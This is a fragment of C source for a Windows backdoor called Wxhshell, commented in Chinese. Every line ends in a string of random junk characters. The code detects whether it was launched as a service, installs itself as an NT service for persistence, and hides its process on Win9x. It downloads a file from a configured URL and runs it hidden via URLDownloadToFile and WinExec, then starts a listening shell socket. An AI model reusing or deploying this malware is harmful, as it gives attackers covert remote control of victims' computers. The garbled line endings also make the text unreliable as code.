DWORD AffinityMask; GD}rsBQNkJ
DWORD BasePriority; .e5@9G.jb
ULONG UniqueProcessId; B!`.,3
ULONG InheritedFromUniqueProcessId; "i&n;8?Y
} PROCESS_BASIC_INFORMATION; K)l*$h&-
D`Vb3aNB=L
PROCNTQSIP NtQueryInformationProcess; #p;<X|Hc}8
2=fLb7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7}\AhQ, S
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; COWlsca
xzz@Wc^_
HANDLE hProcess; M@q)\UQ'
PROCESS_BASIC_INFORMATION pbi; $A74V[1^
kz1Z K
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qooTRqc#,
if(NULL == hInst ) return 0; WSeiW
M7Z&t'=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (?uK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aH%tD!%,o
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dz.kJ_"Ro
NI:OL
if (!NtQueryInformationProcess) return 0; sX>|Y3S\U
g&B7Y|Es
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vm*9xs
if(!hProcess) return 0; h$~$a;2cR
P*Jk 8MK#G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .ozBa778u
N0D5N(kH%
CloseHandle(hProcess); 3- d"-'k
R(y`dQy<K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nx`W!|g$`
if(hProcess==NULL) return 0; lr)MySsu#H
<.lN'i;(
HMODULE hMod; y&4im;X0
char procName[255]; GQ.akA_(
unsigned long cbNeeded; gQ '=mU
?OO !M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `ALQSo~l
vcy+p]6KE-
CloseHandle(hProcess); zYPvpZV/
_6n za)OFH
if(strstr(procName,"services")) return 1; // 以服务启动 @$QtY(a
hI<$lEB
return 0; // 注册表启动 c&RiUU7
} R 'mlKe x
W^:g_
// 主模块 6xh-m
int StartWxhshell(LPSTR lpCmdLine) XxB%
{ |QH )A
SOCKET wsl; z} VCiS0
BOOL val=TRUE; B%[#["Ol
int port=0; |SJ%Myy
struct sockaddr_in door; ^CDh! )
Bt\V1 )
if(wscfg.ws_autoins) Install(); I.6#>=
=`(\]t"I
port=atoi(lpCmdLine); aQ 6T2bQ
hA~5,K0b
if(port<=0) port=wscfg.ws_port; aC'#H8e|j
CS"k0V44}
WSADATA data; 1*@Q~f:Uk
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G
in
\=W t{
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {2|sk9?W
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5=MM^$QG
door.sin_family = AF_INET; oFGgr2Re
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :SD3
door.sin_port = htons(port); 6Vu??qBy
@yPI$"Ma
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V3pn@'pr
closesocket(wsl); =8qhK=&]
return 1; Mr K?,7*Xi
} {\!@k\__
ol4!#4Y&{
if(listen(wsl,2) == INVALID_SOCKET) { $/JnYkL{m
closesocket(wsl); oB}rd9
return 1; \HJ t }
} G! ryW4
Wxhshell(wsl); ybm&g( -\
WSACleanup(); n lvDMZ
TU8K\;l]
return 0; `p^xdj}
`jFvG\aC
} a<D]Gz^h
WgV[,(
// 以NT服务方式启动 +7)/SQM5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^yF2xJ)9-
{ f=MR.\
DWORD status = 0; /0F
<GBQ"v
DWORD specificError = 0xfffffff; vi.q]$ohbV
}5;3c %
serviceStatus.dwServiceType = SERVICE_WIN32; J&b&*3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^UpwVKdP
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (e{pAm
serviceStatus.dwWin32ExitCode = 0; oU~ e|
serviceStatus.dwServiceSpecificExitCode = 0; %1]Lc=[j
serviceStatus.dwCheckPoint = 0; [SLBA_d
serviceStatus.dwWaitHint = 0; I03
45Hc
[Hp"a^~r|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3D7phq>.q
if (hServiceStatusHandle==0) return; F
a'2i<
Uw_z9ZL
status = GetLastError(); T/l2B1
if (status!=NO_ERROR) =:'a)o
{ N`rOlEk
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8|#p D4e
serviceStatus.dwCheckPoint = 0; !;C *Wsp}
serviceStatus.dwWaitHint = 0; 2KmPZ&r
serviceStatus.dwWin32ExitCode = status; o[eIwGxZ
serviceStatus.dwServiceSpecificExitCode = specificError; j]_"MMwk$<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %8GY`T:^
return; s%qK<U4@;Q
} ]+0I8eerd
thSo,uGlW
serviceStatus.dwCurrentState = SERVICE_RUNNING; )wYbcH
serviceStatus.dwCheckPoint = 0; 80ms7 B
serviceStatus.dwWaitHint = 0; d~J4&w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wms8z
} U5wO;MA
cS1BB#N0
// 处理NT服务事件,比如:启动、停止 Aa/lKiiz
VOID WINAPI NTServiceHandler(DWORD fdwControl) PizPsJ|&
{ !=c&U.B
switch(fdwControl) {utIaMb]&v
{ BK:S:
case SERVICE_CONTROL_STOP: _-I 0f##.
serviceStatus.dwWin32ExitCode = 0; 3F0:v,+;
serviceStatus.dwCurrentState = SERVICE_STOPPED; \TBY)_[ {
serviceStatus.dwCheckPoint = 0; "&/&v
serviceStatus.dwWaitHint = 0; I806I@ix
{ Z-+p+34ytq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y;'7Ek)
} wMB<^zZmv
return; N^.!l_
case SERVICE_CONTROL_PAUSE: GzUgzj|BN~
serviceStatus.dwCurrentState = SERVICE_PAUSED; 3l@={Ts
break; 0zAj.iG
case SERVICE_CONTROL_CONTINUE: i;>Hy|
serviceStatus.dwCurrentState = SERVICE_RUNNING; \YBY"J
break; q,a|lH
case SERVICE_CONTROL_INTERROGATE: f[/E $r99J
break; #_bSWV4
}; uU]4)Hp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =p)Wxk
} Qy @r&
)#dP:
// 标准应用程序主函数 obE_`u l#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 93d ht
{ B6b {hsO
xe6 2gaT
// 获取操作系统版本 n300kpv
OsIsNt=GetOsVer(); nNFZ77lg
GetModuleFileName(NULL,ExeFile,MAX_PATH); =kvYE,,g_
WVf>>E^1
// 从命令行安装 ~l@SGHx
if(strpbrk(lpCmdLine,"iI")) Install(); cwxO|
.m
G =+ sW
// 下载执行文件 i=<N4Vx
if(wscfg.ws_downexe) { b&Sk./
J6
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jibrSz
WinExec(wscfg.ws_filenam,SW_HIDE); ^8nK x<&5
} ,wlh0;,
)S|}de/a2
if(!OsIsNt) { bewi.$E{
// 如果时win9x,隐藏进程并且设置为注册表启动 1qb 3.
HideProc(); p'
FYK|
StartWxhshell(lpCmdLine); Bk1Q.Un
} .Go 3'$'v
else s!2pOH!u
if(StartFromService()) h30~2]hH
// 以服务方式启动 ds4)Nk4%O
StartServiceCtrlDispatcher(DispatchTable); 0%^m
else 4+`<' t]Q
// 普通方式启动 +S:(cz80V
StartWxhshell(lpCmdLine); #$Z|)i]w
P~:W+!@5v
return 0; fO.gfHI
}